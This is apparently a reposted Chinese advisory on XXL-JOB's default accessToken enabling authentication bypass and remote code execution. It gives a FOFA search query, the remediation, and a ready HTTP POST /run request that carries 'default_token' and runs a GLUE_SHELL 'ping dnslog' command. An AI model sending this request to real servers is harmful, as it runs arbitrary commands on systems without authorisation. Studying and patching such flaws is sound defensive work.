XXL-JOB默认accessToken身份绕过导致RCE

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
app="xxl-job"


XXL-JOB 是一款开源的分布式任务调度平台,用于实现大规模任务的调度和执行。

漏洞说明:
XXL-JOB 默认配置下,用于调度通讯的 accessToken 不是随机生成的,而是使用 application.properties 配置文件中的默认值。在实际使用中如果没有修改默认值,攻击者可利用此绕过认证调用 executor,执行任意代码,从而获取服务器权限。

修复方案:
修改调度中心和执行器配置项 xxl.job.accessToken 的默认值,注意要设置相同的值:
https://www.xuxueli.com/xxl-job/#5.10%20%E8%AE%BF%E9%97%AE%E4%BB%A4%E7%89%8C%EF%BC%88AccessToken%EF%BC%89


XXL-JOB-ACCESS-TOKEN: default_token

https://github.com/xuxueli/xxl-job/blob/72963e4716a74eacdcbdd2e999c433debf3afaa3/doc/XXL-JOB%E5%AE%98%E6%96%B9%E6%96%87%E6%A1%A3.md?plain=1#L1606
https://github.com/xuxueli/xxl-job/blob/72963e4716a74eacdcbdd2e999c433debf3afaa3/xxl-job-core/src/main/java/com/xxl/job/core/util/XxlJobRemotingUtil.java#L22
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
POST /run HTTP/1.1
Host:
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: application/json
XXL-JOB-ACCESS-TOKEN: default_token
Content-Length: 365

{
"jobId": 1,
"executorHandler": "demoJobHandler",
"executorParams": "demoJobHandler",
"executorBlockStrategy": "COVER_EARLY",
"executorTimeout": 0,
"logId": 1,
"logDateTime": 1586629003729,
"glueType": "GLUE_SHELL",
"glueSource": "ping dnslog",
"glueUpdatetime": 1586699003758,
"broadcastIndex": 0,
"broadcastTotal": 0
}

1698927184365-e5a406ac-5c3e-4229-9396-026a831c21dc.png

1698927173145-6a454957-f83d-4447-9ca2-50bcd6d59c87.png

1698927499604-86b4b44d-0e36-41be-8f11-9750c45c41e3.png

更新: 2023-11-02 20:18:23
原文: https://www.yuque.com/yuqueyonghuwrqimt/vtxvff/fuxzdkyorzbmsmyl


XXL-JOB默认accessToken身份绕过导致RCE
https://savior-only.github.io/p/f995099ab7d24a37b68d22dc97743157/
作者
savior
发布于
2024年12月25日
更新于
2024年12月27日
许可协议